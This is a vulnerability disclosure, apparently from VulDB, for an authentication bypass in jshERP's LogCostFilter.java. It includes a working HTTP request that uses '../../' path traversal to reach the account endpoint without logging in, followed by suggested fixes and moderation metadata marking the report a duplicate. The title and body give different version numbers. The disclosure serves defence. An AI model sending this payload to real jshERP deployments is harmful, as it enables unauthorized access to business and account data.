Submeter #577325: 管伊佳 jshERP 3.5 Authorization Bypass

# Improper Path Validation in jshERP's LogCostFilter.java allows Authentication Bypass via Directory Traversal

# NAME OF AFFECTED PRODUCT(S)

- jshERP
## Vendor Homepage

- https://www.gyjerp.com/
# AFFECTED AND/OR FIXED VERSION(S)

## submitter

- aiyakami

## Vulnerable File

- LogCostFilter.java

## VERSION(S)

- V3.3

## Software Link

- https://github.com/jishenghua/jshERP

# PROBLEM TYPE

## Vulnerability Type

- Authorization Bypass

## Root Cause

- A privilege bypass vulnerability was found in the LogCostFilter.java file of the jshERP project. The issue occurs because the system fails to properly validate and restrict URL path traversal attempts (e.g., ../../). Attackers can manipulate the URL to bypass authentication checks, gaining unauthorized access to restricted functionalities or sensitive data.

## Impact

- Attackers can exploit this vulnerability to bypass access controls, potentially accessing administrative functions, sensitive business data, or performing unauthorized operations. This could lead to data leakage, financial fraud, or system compromise, severely affecting the security and integrity of the jshERP system.

# DESCRIPTION

- During a security review of jshERP, I discovered a critical privilege bypass vulnerability in the LogCostFilter.java file. This vulnerability arises due to insufficient path traversal validation, allowing attackers to craft malicious URLs (e.g., ../../) to evade security checks. As a result, unauthorized users can access restricted functionalities without proper authentication. Immediate remediation is required to enforce strict access controls and prevent potential exploitation.

# No authentication or session validation is required to exploit this vulnerability. Attackers can directly access restricted functionalities by manipulating the URL path.

# Vulnerability details and POC

## Vulnerability lonameion:

- **`LogCostFilter.java`**

## Payload:

```makefile
GET /jshERP-boot/user/login/../../account/getAccount HTTP/1.1
Host: IP:PORT
Accept-Language: zh-CN,zh;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/x.x.x.x Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
```

## The following are screenshots of some specific information obtained from testing and running with the yakit tool:

# Suggested repair

1. **Strict Path Normalization**
- Normalize and resolve URL paths before validation (e.g., using `getCanonicalPath()` in Java).
- Reject any request containing `../` or absolute paths.

2. **Role-Based Access Control (RBAC)**
- Enforce authentication checks **before** path resolution.
- Implement whitelisting for accessible routes.

3. **Logging & Monitoring**
- Log all attempts to access sensitive paths with `../` sequences.
- Trigger alerts for repeated bypass attempts.

4. **Regular Security Testing**
- Conduct penetration tests focusing on authentication bypass vectors.

• Fonte: ⚠️ https://github.com/Aiyakami/CVE-2/issues/1
• Utilizador: aiyakami (UID 85128)
• Submissão: 14/05/2025 07h29 (há 1 Ano)
• Moderação: 25/05/2025 09h27 (11 days later)
• Estado: Duplicado
• Entrada VulDB: 246572 [jshERP 3.3 doFilter Elevação de Privilégios]
• Pontos: 0